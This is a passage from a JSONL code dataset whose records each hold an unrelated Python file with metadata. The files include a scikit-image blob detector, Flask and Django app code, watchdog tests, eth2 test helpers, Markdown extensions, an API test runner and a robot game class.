1)])\n\n gaussian_images = [gaussian_filter(image, s) for s in sigma_list]\n\n # computing difference between two successive Gaussian blurred images\n # multiplying with standard deviation provides scale invariance\n dog_images = [(gaussian_images[i] - gaussian_images[i + 1])\n * sigma_list[i] for i in range(k)]\n image_cube = np.dstack(dog_images)\n\n # local_maxima = get_local_maxima(image_cube, threshold)\n local_maxima = peak_local_max(image_cube, threshold_abs=threshold,\n footprint=np.ones((3, 3, 3)),\n threshold_rel=0.0,\n exclude_border=False)\n\n # Convert the last index to its corresponding scale value\n local_maxima[:, 2] = sigma_list[local_maxima[:, 2]]\n ret_val = _prune_blobs(local_maxima, overlap)\n\n if len(ret_val) > 0:\n ret_val[:, 2] = math.pi * \\\n ((ret_val[:, 2] * math.sqrt(2)) ** 2).astype(int)\n return ret_val\n else:\n return []\n","sub_path":"skimage/feature/blob.py","file_name":"blob.py","file_ext":"py","file_size_in_byte":6722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"320669988","text":"#Autor: David Rodriguez\r\n#Lee los lados de un triángulo y determina que tipo de trángulo es\r\n\r\n\r\n#Determina el tipo de triángulo en abse a la longitud de sus lados\r\ndef determinarTriangulo(ladoA, ladoB, ladoC):\r\n if ladoA > 0 and ladoB > 0 and ladoC > 0:\r\n if ladoA == ladoB and ladoA == ladoC:\r\n triangulo = \"equilátero\"\r\n elif ladoA == ladoB or ladoA == ladoC or ladoB == ladoC:\r\n triangulo = \"isósceles\"\r\n elif (ladoA**2) + (ladoB**2) == (ladoC**2) or (ladoA**2) + (ladoC**2) == (ladoB**2) or (ladoB**2) + (ladoC**2) == (ladoA**2):\r\n triangulo = \"rectángulo\"\r\n else:\r\n triangulo = \"Estos lados no corresponden a un triángulo\"\r\n else:\r\n triangulo = \"Estos lados no corresponden a un triángulo\"\r\n\r\n return triangulo\r\n\r\n\r\n#Función principal\r\ndef main():\r\n ladoA = int(input(\"Dame el primer lado: \"))\r\n ladoB = int(input(\"Dame el segundo lado: \"))\r\n ladoC = int(input(\"Dame el tercer lado: \"))\r\n triangulo = determinarTriangulo(ladoA, ladoB, ladoC)\r\n print(\"Lado 1: \", ladoA)\r\n print(\"Lado 2: \", ladoB)\r\n print(\"Lado 3: \", ladoC)\r\n if triangulo != \"Estos lados no corresponden a un triángulo\":\r\n print(\"El triángulo es\", triangulo)\r\n else:\r\n print(triangulo)\r\n\r\n\r\nmain()","sub_path":"Triangulos.py","file_name":"Triangulos.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"184096904","text":"from .app import manageur, bd\n\n########################### bd ##################################\n\n@manageur.command\ndef chargerbd(filename):\n\t'''Cree la bd et la remplis a partir d'un fichier .yml'''\n\t\n\tbd.create_all()\n\t\n\timport yaml #chargement des données\n\tvins=yaml.load(open(filename))\n\t\n\tfrom .modeles import Vin, Region, Pays\n\n\tpays = {}\n\tfor v in vins :\t#creation des pays\n\t\tp=v[\"country\"]\n\t\tif p not in pays :\n\t\t\to = Pays(nom=p)\n\t\t\tbd.session.add(o)\n\t\t\tpays[p]=o\n\t\t\tbd.session.commit()\n\t\t\tprint(\"Pays ajouté : \"+v[\"country\"])\n\n\tregions = {}\n\tfor v in vins :\t#creation des regions\n\t\tr=v[\"region\"]\n\t\tif r not in regions :\n\t\t\tp=pays[v[\"country\"]]\n\t\t\to = Region(nom=r, pays_id=p.id)\n\t\t\tbd.session.add(o)\n\t\t\tregions[r]=o\n\t\t\tbd.session.commit()\n\t\t\tprint(\"Region ajoutée : \"+str(v[\"region\"]))\n\t\n\tfor v in vins :\t#creation des livres\n\t\tr = regions[v[\"region\"]]\n\t\to = Vin(categorie = v[\"category\"],\n\t\t\t\tnom = v[\"name\"],\n\t\t\t\ttype = v[\"varietal\"],\n\t\t\t\timage = v[\"image\"],\t\t\t\t\n\t\t\t\tquantite = v[\"quantity\"],\n\t\t\t\tannee = v[\"vintage\"],\n\t\t\t\tprix = 42,\t\t\t\t # comme nous n'avons pas de prix tout les prix sont fixé a 42\n\t\t\t\tregion_id = r.id)\n\t\tbd.session.add(o)\n\t\tprint(\"Vin ajouté : \"+v[\"name\"])\n\tbd.session.commit()\n\n@manageur.command\ndef syncrobd() :\n\t'''Cree les table manquantes.'''\n\tbd.create_all()\n\n########################### utilisateur ##################################\n\n@manageur.command\ndef nouvutil(identifiant, mdp, mail, admin=False) :\t# on ajoute -a s'il on veux qu'il soit admin\n\t'''Ajoute un nouvel utilisateur dans la bd'''\n\tfrom .modeles import add_new_user\n\tfrom hashlib import sha256\n\tm=sha256()\n\tm.update(mdp.encode())\n\tadd_new_user(identifiant, m.hexdigest(), admin, mail)\n\tprint(\"Utilisateur ajouté\")\n\n@manageur.command\ndef modifmdp(identifiant, mdp, nmdp) :\t\t#mdp : mdp actuel ; nmdp : nouveau mdp\n\t'''Modifie le mdp d'un utilisateur'''\n\tfrom .modeles import Utilisateur\n\tfrom .modeles import un_utilisateur\n\tfrom hashlib import sha256\n\tu = un_utilisateur(identifiant)\n\tmdp2=sha256()\n\tmdp2.update(mdp.encode())\n\tmdp2 = mdp2.hexdigest()\n\tif mdp2 == u.mdp :\n\t\tm=sha256()\n\t\tm.update(nmdp.encode())\n\t\tu.mdp=m.hexdigest()\n\t\tprint(\"Modication effectuée\")\n\telse :\n\t\tprint(\"Erreur mdp incorect, modification non effectuée\")\n\tbd.session.commit()\n\n\n","sub_path":"app/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"425431576","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Copyright 2011 Yesudeep Mangalapilly \n# Copyright 2012 Google, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport os\nfrom tests import unittest, skipIfNtMove\n\n# try:\n# import queue # IGNORE:F0401\n# except ImportError:\n# import Queue as queue # IGNORE:F0401\n\nfrom time import sleep\nfrom tests.shell import (\n mkdir,\n mkdtemp,\n touch,\n rm,\n mv\n)\n\nfrom watchdog.utils.dirsnapshot import DirectorySnapshot\n\ntemp_dir = None\n\n\ndef p(*args):\n \"\"\"\n Convenience function to join the temporary directory path\n with the provided arguments.\n \"\"\"\n return os.path.join(temp_dir, *args)\n\n\nclass TestPollingEmitterSimple(unittest.TestCase):\n\n def setUp(self):\n global temp_dir\n temp_dir = mkdtemp()\n\n def start(self):\n global temp_dir\n\n def tearDown(self):\n global temp_dir\n rm(temp_dir, True)\n pass\n\n def verify_equivalent_sequences(self, seq1, seq2):\n self.assertEqual(len(seq1), len(seq2))\n for item in seq1:\n self.assertTrue(item in seq2)\n\n def verify(self, expected, changes):\n all_attributes = ['files_created', 'files_deleted', 'files_modified', 'files_moved',\n 'dirs_created', 'dirs_deleted', 'dirs_modified', 'dirs_moved', ]\n comp_dict = dict((attr, getattr(changes, attr)) for attr in all_attributes)\n for attr in all_attributes:\n got = getattr(changes, attr)\n if attr in expected:\n self.verify_equivalent_sequences(expected[attr], got)\n else:\n self.assertEqual(\n 0, len(got), \"Actually got: %r when expected: %r\" % (comp_dict, expected))\n\n @skipIfNtMove\n def test_mv_file_to_other_sibling_folder(self):\n mkdir(p('dir1'))\n mkdir(p('dir2'))\n touch(p('dir1', 'a'))\n\n snapBefore = DirectorySnapshot(temp_dir)\n sleep(1)\n\n mv(p('dir1', 'a'), p('dir2', 'x'))\n\n snapAfter = DirectorySnapshot(temp_dir)\n changes = snapAfter - snapBefore\n\n expected = {\n 'files_moved': [(p('dir1', 'a'), p('dir2', 'x')), ],\n 'dirs_modified': [p('dir1'), p('dir2'), ]\n }\n\n self.verify(expected, changes)\n\n @skipIfNtMove\n def test_replace_same_folder(self):\n mkdir(p('dir1'))\n touch(p('dir1', 'a'))\n touch(p('dir1', 'b'))\n\n snapBefore = DirectorySnapshot(temp_dir)\n sleep(1)\n\n mv(p('dir1', 'a'), p('dir1', 'b'))\n\n snapAfter = DirectorySnapshot(temp_dir)\n changes = snapAfter - snapBefore\n\n expected = {\n 'files_moved': [(p('dir1', 'a'), p('dir1', 'b')), ],\n 'dirs_modified': [p('dir1'), ]\n }\n\n self.verify(expected, changes)\n\n @skipIfNtMove\n def test_replace_in_other_folder(self):\n mkdir(p('dir1'))\n mkdir(p('dir2'))\n touch(p('dir1', 'a'))\n touch(p('dir2', 'a'))\n\n snapBefore = DirectorySnapshot(temp_dir)\n sleep(1)\n\n # This case didn't work until the associated changes in disnapshot.py\n mv(p('dir1', 'a'), p('dir2', 'a'))\n\n snapAfter = DirectorySnapshot(temp_dir)\n changes = snapAfter - snapBefore\n\n expected = {\n 'files_moved': [(p('dir1', 'a'), p('dir2', 'a')), ],\n 'dirs_modified': [p('dir1'), p('dir2'), ]\n }\n\n self.verify(expected, changes)\n","sub_path":"tests/test_watchdog_directory_snapshot.py","file_name":"test_watchdog_directory_snapshot.py","file_ext":"py","file_size_in_byte":3965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"55932291","text":"\"\"\"\nCodeUp\n6077 : [기초-종합] 짝수 합 구하기(설명)(py)\nhttps://www.codeup.kr/problem.php?id=6077\n\"\"\"\nn = int(input())\ns = 0\nfor i in range(1, n + 1) :\n if i%2 == 0 :\n s += i\nprint(s)","sub_path":"CodeUp/Python기초100/6077-6091[기초-종합]/6077-짝수 합 구하기.py","file_name":"6077-짝수 합 구하기.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"383003635","text":"from django.db import models\nfrom django.contrib.auth.models import AbstractUser\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.core.validators import MinValueValidator, MaxValueValidator\n\nfrom .managers import CustomUserManager\n\n\ndef my_default_json():\n return {'foo': 'bar'}\n\n\nclass User(AbstractUser):\n class Role(models.TextChoices):\n ADMIN = 'admin', _('admin')\n USER = 'user', _('user')\n\n username = None\n first_name = None\n last_name = None\n ROLE = None\n mobile_number = models.CharField(_('mobile number'), max_length=20, unique=True)\n full_name = models.CharField(_('full name'), max_length=100, blank=False)\n address = models.TextField(_('address'), max_length=500, blank=False)\n company = models.CharField(_('company'), max_length=50, blank=True)\n designation = models.CharField(_('designation'), max_length=50, blank=True)\n family_members = models.IntegerField(_('numbers of family members'), validators=[MinValueValidator(0), MaxValueValidator(10)], blank=True, default=0)\n role = models.CharField(_('user role'), max_length=15, choices=Role.choices, default=Role.USER, blank=True)\n\n USERNAME_FIELD = 'mobile_number'\n REQUIRED_FIELDS = []\n\n objects = CustomUserManager()\n\n def __str__(self):\n return self.mobile_number\n\n\nclass FamilyDetails(models.Model):\n class Relations(models.TextChoices):\n HUSBAND = 'husband', _('husband')\n WIFE = 'wife', _('wife')\n FATHER = 'father', _('father')\n MOTHER = 'mother', _('mother')\n SON = 'son', _('son')\n DAUGHTER = 'daughter', _('daughter')\n BROTHER = 'brother', _('brother')\n SISTER = 'sister', _('sister')\n OTHER = 'other', _('other')\n\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n relation = models.CharField(_('type of relation'), choices=Relations.choices, default=Relations.OTHER, max_length=50, blank=False)\n member_name = models.CharField(_('family member name'), max_length=50, blank=False)\n\n def __str__(self):\n return self.relation\n\n\nclass OTP(models.Model):\n class Type(models.TextChoices):\n PASSWORD = 'password', _('password')\n FORGOT_PASSWORD = 'forgot_password', _('forgot_password')\n NUMBER_CHANGE = 'number_change', _('number_change')\n SIGNUP = 'signup', _('signup')\n\n otp = models.CharField(_('otp'), max_length=4, blank=False)\n user = models.CharField(_('user'), max_length=20, blank=False)\n created = models.DateTimeField(auto_now_add=True)\n active = models.BooleanField(_('active'), default=True, blank=True)\n matched = models.BooleanField(_('matched'), default=False, blank=True)\n data = models.JSONField(default=my_default_json)\n otp_type = models.CharField(_('otp type'), choices=Type.choices,\n max_length=50, blank=True)\n","sub_path":"backend/users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"119794997","text":"from eth_utils import (\n to_tuple,\n)\nfrom eth_utils.toolz import (\n merge,\n)\n\nfrom eth.constants import (\n ZERO_HASH32,\n)\nfrom eth.db.atomic import AtomicDB\n\nfrom eth2.beacon.types.blocks import (\n BeaconBlock,\n BeaconBlockBody,\n)\n\nfrom eth2.beacon.constants import (\n EMPTY_SIGNATURE,\n)\nfrom eth2.beacon.fork_choice.higher_slot import higher_slot_scoring\nfrom eth2.beacon.state_machines.forks.serenity import SERENITY_CONFIG\nfrom eth2.configs import (\n Eth2GenesisConfig,\n)\n\nfrom trinity.db.beacon.chain import AsyncBeaconChainDB\n\nSERENITY_GENESIS_CONFIG = Eth2GenesisConfig(SERENITY_CONFIG)\n\n\ndef create_test_block(parent=None, genesis_config=SERENITY_GENESIS_CONFIG, **kwargs):\n defaults = {\n \"slot\": genesis_config.GENESIS_SLOT,\n \"parent_root\": ZERO_HASH32,\n \"state_root\": ZERO_HASH32, # note: not the actual genesis state root\n \"signature\": EMPTY_SIGNATURE,\n \"body\": BeaconBlockBody(),\n }\n\n if parent is not None:\n kwargs[\"parent_root\"] = parent.signing_root\n kwargs[\"slot\"] = parent.slot + 1\n\n return BeaconBlock(**merge(defaults, kwargs))\n\n\n@to_tuple\ndef create_branch(length, root=None, **start_kwargs):\n if length == 0:\n return\n\n if root is None:\n root = create_test_block()\n\n parent = create_test_block(parent=root, **start_kwargs)\n yield parent\n\n for _ in range(root.slot + 2, root.slot + length + 1):\n child = create_test_block(parent)\n yield child\n parent = child\n\n\nasync def get_chain_db(blocks=(),\n genesis_config=SERENITY_GENESIS_CONFIG,\n fork_choice_scoring=higher_slot_scoring):\n db = AtomicDB()\n chain_db = AsyncBeaconChainDB(db=db, genesis_config=genesis_config)\n await chain_db.coro_persist_block_chain(\n blocks,\n BeaconBlock,\n (higher_slot_scoring,) * len(blocks),\n )\n return chain_db\n\n\nasync def get_genesis_chain_db(genesis_config=SERENITY_GENESIS_CONFIG):\n genesis = create_test_block(genesis_config=genesis_config)\n return await get_chain_db((genesis,), genesis_config=genesis_config)\n","sub_path":"tests/core/p2p-proto/bcc/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"279592634","text":"import itertools\n\ndebug = False\nlines = list()\nif debug:\n lines.append(\"London to Dublin = 464\")\n lines.append(\"London to Belfast = 518\")\n lines.append(\"Dublin to Belfast = 141\")\nelse:\n with open(\"input\", \"r\") as f:\n for line in f:\n lines.append(line)\n\n\nif __name__ == '__main__':\n dist_tree = dict()\n\n for line in lines:\n c_from, _, c_to, _, dist = line.strip().split(' ')\n dist = int(dist)\n if c_from in dist_tree :\n dist_tree[c_from][c_to] = dist\n else:\n dist_tree[c_from] = {c_to:dist}\n\n if c_to in dist_tree:\n dist_tree[c_to][c_from] = dist\n else:\n dist_tree[c_to] = {c_from:dist}\n\n min_path_dist = 1000000\n max_path_dist = 0\n for path in itertools.permutations(dist_tree):\n path_dist = 0\n for idx, city in enumerate(path[:-1]):\n path_dist += dist_tree[city][path[idx+1]]\n if path_dist < min_path_dist:\n min_path_dist = path_dist\n min_path = path\n if path_dist > max_path_dist:\n max_path_dist = path_dist\n max_path = path\n print(\"--- MIN PATH ---\")\n print(min_path)\n print(min_path_dist)\n print(\"--- MAX PATH ---\")\n print(max_path)\n print(max_path_dist)\n\n\n","sub_path":"Day9/Day9.py","file_name":"Day9.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"10478565","text":"import re\nimport xml.etree.ElementTree as etree\nfrom markdown import util\nfrom markdown.extensions import Extension\nfrom markdown.extensions.toc import TocExtension\nfrom markdown.extensions.wikilinks \\\n import WikiLinkExtension, WikiLinksInlineProcessor\nfrom markdown.inlinepatterns import InlineProcessor, LinkInlineProcessor\nfrom app.config.model import Config\n\n\ndef md_extensions():\n extensions = []\n # https://python-markdown.github.io/extensions/\n extensions.append('markdown.extensions.meta')\n extensions.append('markdown.extensions.fenced_code')\n extensions.append('markdown.extensions.codehilite')\n extensions.append('markdown.extensions.tables')\n extensions.append('markdown.extensions.admonition')\n extensions.append('markdown.extensions.nl2br')\n extensions.append('markdown.extensions.footnotes')\n extensions.append('markdown.extensions.md_in_html')\n\n # FIXME: 수정해야함\n base_url = 'note'\n extensions.append(\n WikiLinkExtensionCustom(base_url='/{}/'.format(base_url)))\n\n toc_marker = Config.get('md_toc_marker')\n extensions.append(TocExtension(\n marker=toc_marker, permalink=True, slugify=_slugify))\n\n extensions.append(AutolinkExtensionCustom())\n extensions.append(LinkInlineExtension())\n\n return extensions\n\n\nclass WikiLinkExtensionCustom(WikiLinkExtension):\n \"\"\"\n 기본 WikiLinkExtension 은 '/'가 있으면 링크로 인식하지 않는다.\n wikilink_re에 '/' 을 추가하여 문제를 해결한다.\n \"\"\"\n\n md = None\n\n def __init__(self, **kwargs):\n super(WikiLinkExtensionCustom, self).__init__(**kwargs)\n\n def extendMarkdown(self, md):\n self.md = md\n\n # append to end of inline patterns\n wikilink_re = r'\\[\\[([\\w0-9_ -/]+)\\]\\]'\n config = self.getConfigs()\n config['build_url'] = lambda label, base, end: '{}{}{}'.format(base, label, end)\n wikilink_pattern = \\\n WikiLinksInlineProcessor(wikilink_re, config)\n wikilink_pattern.md = md\n md.inlinePatterns.register(wikilink_pattern, 'wikilink', 75)\n\n\nclass AutolinkInlineProcessor(InlineProcessor):\n \"\"\" Return a link Element given an autolink (`http://example/com`). \"\"\"\n def handleMatch(self, m, data):\n el = etree.Element('a')\n el.set('href', self.unescape(m.group(0)))\n el.set('target', '_blank')\n el.text = util.AtomicString(m.group(0))\n return el, m.start(0), m.end(0)\n\n\nclass AutolinkExtensionCustom(Extension):\n\n def extendMarkdown(self, md):\n html_re = r'https?:\\/\\/(www\\.)?[-a-zA-Z0-9@:%._\\+~#=]{1,256}\\.[a-zA-Z0-9()]{1,6}\\b([-a-zA-Z0-9()@:%_\\+.~#?&//=]*)'\n md.inlinePatterns.deregister('autolink')\n md.inlinePatterns.register(\n AutolinkInlineProcessor(html_re, md), 'autolink', 120)\n\n\nclass LinkInlineProcessorCustom(LinkInlineProcessor):\n\n def __init__(self, pattern, md):\n super(LinkInlineProcessorCustom, self).__init__(pattern, md)\n\n def handleMatch(self, m, data):\n text, index, handled = self.getText(data, m.end(0))\n\n if not handled:\n return None, None, None\n\n href, title, index, handled = self.getLink(data, index)\n if not handled:\n return None, None, None\n\n el = etree.Element('a')\n el.text = text\n\n el.set('href', href)\n el.set('target', '_blank')\n\n if title is not None:\n el.set(\"title\", title)\n\n return el, m.start(0), index\n\n\nclass LinkInlineExtension(Extension):\n\n def extendMarkdown(self, md):\n link_re = r'(? int(timeTransposition(starttime)) / 1000)\n except:\n pass\n if endtime != None and endtime != '':\n try:\n result = result.where(FMonth.posttime < int(timeTransposition(endtime)) / 1000)\n except:\n pass\n total = result.count()\n\n\n\n # if (keyword!=None) or (team!=None) or (starttime!=None) or (endtime!=None):\n # like = '%' + keyword + '%'\n # result = FMonth.select().where((FMonth.tid == team) | (FMonth.username % like) | (FMonth.posttime > starttime) | (FMonth.posttime < endtime)).paginate(int(page), int(size))\n # total = FMonth.select().where(FMonth.tid == team).count()\n # else:\n # result = FMonth.select().paginate(int(page), int(size))\n # total = FMonth.select().count()\n msg = {\"code\": 0, \"msg\": \"success\", \"total\": total, \"result\": [{'id': item.id, 'name': item.username, 'tment': getTment(item.tid), 'normal': item.normal, 'off': item.off, 'late': item.late, 'quit': item.early, 'absence': item.absence} for item in result]}\n except:\n msg = {\"code\": -1, \"msg\": \"system error\"}\n return msg\n\n\ndef attendance_info_id_get(id):\n \"\"\"\n attendance info\n attendance info\n :param id: login user id\n :type id: str\n\n :rtype: InlineResponse2005\n \"\"\"\n data = FDay.select().where(FDay.uid==id)\n normal = data.where(FDay.type==0).count()\n late = data.where(FDay.type==1).count()\n early = data.where(FDay.type==3).count()\n off = data.where(FDay.type==2).count()\n absence = data.where(FDay.type==4).count()\n userinfo = FSysEmployee.get(FSysEmployee.id == id)\n userinfo = {\n 'username': userinfo.username,\n 'normal': normal,\n 'late': late,\n 'retreat': early,\n 'absence': absence,\n 'off': off\n }\n result=[{'day': str(item.times)[0:4]+'-'+str(item.times)[4:6]+'-'+str(item.times)[6:8]+' 00:00:00', 'status': (int(item.type))} for item in data]\n seen = set()\n new_dict_list = []\n for dict in result:\n t_dict = {'day': dict['day'], 'status': dict['status']}\n t_tup = tuple(t_dict.items())\n if t_tup not in seen:\n seen.add(t_tup)\n new_dict_list.append(dict)\n\n msg = {\"code\": 0, \"msg\": \"success\", \"result\": new_dict_list, \"userinfo\":userinfo}\n return msg\n\n\ndef attendance_list_get(size=None, page=None, team=None, keyword=None, starttime=None, endtime=None):\n \"\"\"\n attendance list\n attendance list\n :param size: Each page shows the number\n :type size: str\n :param page: which page\n :type page: str\n :param team: team\n :type team: str\n :param keyword: keyword\n :type keyword: str\n :param starttime: start time\n :type starttime: str\n :param endtime: end time\n :type endtime: str\n\n :rtype: InlineResponse2004\n \"\"\"\n # try:\n #\n # except:\n # msg = {\"code\": -1, \"msg\": \"system error\"}\n result = FMonth.select()\n if keyword != None and keyword != '':\n like = '%' + keyword + '%'\n result = result.where(FMonth.username % like)\n if team != None and team != '':\n result = result.where(FMonth.tid == team)\n if starttime != None and starttime != '':\n try:\n print(int(timeTransposition(starttime)) / 1000)\n result = result.where(FMonth.posttime > int(timeTransposition(starttime)) / 1000)\n except:\n pass\n if endtime != None and endtime != '':\n try:\n result = result.where(FMonth.posttime < int(timeTransposition(endtime)) / 1000)\n except:\n pass\n\n #result = result.paginate(1, int(size))\n total = result.count()\n\n # if (keyword!=None) or (team!=None) or (starttime!=None) or (endtime!=None):\n # like = '%' + keyword + '%'\n # result = FMonth.select().where((FMonth.tid == team) | (FMonth.username % like) | (FMonth.posttime > starttime) | (FMonth.posttime < endtime)).paginate(int(page), int(size))\n # total = FMonth.select().where(FMonth.tid == team).count()\n # else:\n # result = FMonth.select().paginate(int(page), int(size))\n # total = FMonth.select().count()\n msg = {\"code\": 0, \"msg\": \"success\", \"total\": total, \"result\": [\n {'id': item.id, 'name': item.username, 'tment': getTment(item.tid), 'normal': item.normal, 'off': item.off,\n 'late': item.late, 'quit': item.early, 'absence': item.absence} for item in result]}\n return msg\n","sub_path":"python-flask-server/swagger_server/controllers/attendance_controller.py","file_name":"attendance_controller.py","file_ext":"py","file_size_in_byte":8642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"458465073","text":"import os\nimport sys\nimport datetime\n\nfrom yaml import safe_load_all\nimport requests\nfrom requests.exceptions import ConnectTimeout, ConnectionError\n\nfrom case import Case\nfrom buildin import get_passed, get_failed, set_failed, get_status\nfrom remail import send_email\n\nSESSION = requests.Session() # 全局,会话对象\n\nFILENAME = None # 文件名称\n\nCOUNT = 0 # 用例计数\n\nSTART_TIME = None # 测试开始时间\n\nEND_TIME = None # 测试结束时间\n\nCURRENT_CASE_NAME = None # 当前用例名称\n\nCURRENT_CASE_STATUS = \"FAILED\" # 当前用例状态\n\nCURRENT_CASE_RESULT = None # 当前用例返回数据\n\n\ndef new_case(arguments):\n global FILENAME\n path = arguments[0]\n FILENAME = os.path.basename(path)\n with open(path, encoding='utf-8') as f:\n documents = safe_load_all(f)\n for doc in documents:\n c = Case(doc)\n yield c\n\n\ndef pre_data(case):\n return requests.Request(\n case.type,\n case.url,\n data=case.data,\n json=case.data,\n params=case.data,\n headers=SESSION.headers.update(case.headers)\n )\n\n\ndef get_passed_rate():\n passed = get_passed()\n failed = get_failed()\n rate = passed/(passed + failed)\n return format(rate, '.0%')\n\n\ndef set_part_header():\n part_style = \"\"\"\n\"\"\"\n part_header = f\"\"\"
    \n

    {FILENAME}

    \n
    \n 总用例数:{COUNT}
    \n 失败用例数:{get_failed()}
    \n 成功用例数:{get_passed()}
    \n 测试通过率:{get_passed_rate()}\n
    \n 测试开始时间:{START_TIME}
    \n 测试结束时间:{END_TIME}\n
    \n
    \n\"\"\"\n return part_style + part_header\n\n\nPART_TD = \"\"\n\n\ndef set_part_td():\n global PART_TD\n td = f\"{CURRENT_CASE_NAME}{get_status()}{CURRENT_CASE_RESULT}\"\n PART_TD = PART_TD + td\n\n\ndef set_part_body():\n part_body = f\"\"\"
    \n \n \n \n \n \n \n {PART_TD}\n
    用例名称测试结果服务器实际返回数据
    \n
    \n\"\"\"\n return part_body\n\n\ndef output():\n # 设置邮件正文内容\n content = set_part_header() + set_part_body()\n send_email(content)\n\n\ndef execute(cases):\n global COUNT, START_TIME, END_TIME, CURRENT_CASE_NAME, CURRENT_CASE_RESULT, CURRENT_CASE_STATUS\n START_TIME = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n for case in cases:\n CURRENT_CASE_NAME = case.name\n COUNT = 1 + COUNT\n try:\n case.before_send_handle()\n req = pre_data(case)\n prepped = SESSION.prepare_request(req)\n resp = SESSION.send(prepped, timeout=case.timeout)\n CURRENT_CASE_RESULT = case.response_handle(resp)\n set_part_td()\n except ConnectTimeout:\n set_failed()\n except ConnectionError:\n set_failed()\n END_TIME = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n # 输出结果\n output()\n\n\ndef run_cli(arguments=None):\n if arguments is None:\n arguments = sys.argv[1:]\n cases = new_case(arguments)\n execute(cases)\n\n\nif __name__ == \"__main__\":\n run_cli([r\"C:\\Users\\lizz\\Desktop\\withTest\\example0.yml\"])\n","sub_path":"app/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"482842189","text":"\"\"\"\r\nRoboter Feld\r\nvon B-Dome, JangJang3, FabiPi\r\n\"\"\"\r\n\r\nfrom PyQt5.QtGui import QVector2D,QPainterPath\r\nimport math\r\nimport Bullet\r\n\r\n\r\n#Constants\r\nalpha_eps = 0.5 #velocity-stop breakpoint\r\nvMax = 5 #max velocity\r\nv_alpha_Max = 10 #max alpha velocity\r\nRELOAD_TIME = 100\r\n\r\nclass Robot(object):\r\n def __init__(self, robotid, position, alpha, a_max, a_alpha_max, radius, FOV, color):\r\n\r\n self.robotid = robotid\r\n self.position = position\r\n self.alpha = alpha % 360\r\n self.radius = radius\r\n \r\n self.color = color\r\n self.RobotList = {1 : QVector2D(0,0),\r\n 2 : QVector2D(0,0),\r\n 3 : QVector2D(0,0),\r\n 4 : QVector2D(0,0)}\r\n self.BulList= []\r\n\r\n # FOV data\r\n # Position, distance, perspective, seen\r\n self.ViewList = {1 : [ QVector2D(0,0), 0, 0, False],\r\n 2 : [ QVector2D(0,0), 0, 0, False],\r\n 3 : [ QVector2D(0,0), 0, 0, False],\r\n 4 : [ QVector2D(0,0), 0, 0, False]}\r\n self.FOV = FOV\r\n\r\n self.reload = 0\r\n self.deathTime = 0\r\n self.immuneTime = 0\r\n \r\n self.a = 0\r\n self.a_max = a_max\r\n self.a_alpha= 0\r\n self.a_alpha_max = a_alpha_max\r\n\r\n self.v_vector = QVector2D(0,0)\r\n self.v_alpha = 0\r\n self.v = 0\r\n\r\n #Methods for Robot Controll\r\n def setProgram(self, program):\r\n self.program = program\r\n\r\n def executeProgram(self):\r\n self.program.start()\r\n return self.a_alpha_max\r\n\r\n # for the FOV\r\n def roundshape(self, position, r):\r\n shape = QPainterPath()\r\n shape.addEllipse(int(round(position.x())), int(round(position.y())), r, r)\r\n return shape\r\n\r\n def roboShape(self):\r\n return self.roundshape(self.position, self.radius)\r\n\r\n\r\n def moveChase(self, tarAlpha):\r\n target_alpha = tarAlpha\r\n\r\n if target_alpha < 180:\r\n if target_alpha+180 < self.alpha or target_alpha > self.alpha:\r\n # turn left\r\n self.a_alpha = 0.5\r\n\r\n else:\r\n # turn right\r\n self.a_alpha = -0.5\r\n else:\r\n if target_alpha > self.alpha >= ((target_alpha+180)% 360):\r\n # turn left\r\n self.a_alpha = 0.5\r\n\r\n else:\r\n # turn right\r\n self.a_alpha = -0.5\r\n \r\n\r\n def aimTarget(self, target):\r\n target_x = target.x()\r\n target_y = target.y()\r\n\r\n pos_x = self.position.x()\r\n pos_y = self.position.y()\r\n\r\n\r\n #Berechnung Blickrichtung\r\n delta_x = target_x - pos_x\r\n delta_y = target_y - pos_y\r\n target_alpha = -math.degrees(math.atan2(delta_y, delta_x)) % 360\r\n\r\n self.moveChase(target_alpha)\r\n\r\n #self.alpha = target_alpha\r\n\r\n #print(target_alpha)\r\n\r\n def inVicinity(self, target):\r\n eps = 20\r\n #print(self.position)\r\n if (self.position.x()- eps <= target.x() <= self.position.x()+ eps) and(self.position.y()- eps <= target.y() <= self.position.y()+ eps):\r\n return True\r\n else:\r\n return False\r\n\r\n\r\n def aimTargetView(self, target):\r\n # who is my target\r\n target_id = target\r\n\r\n # is my target in my FOV?\r\n if self.ViewList[target_id][3]:\r\n\r\n # Yes, chase him\r\n target_alpha = 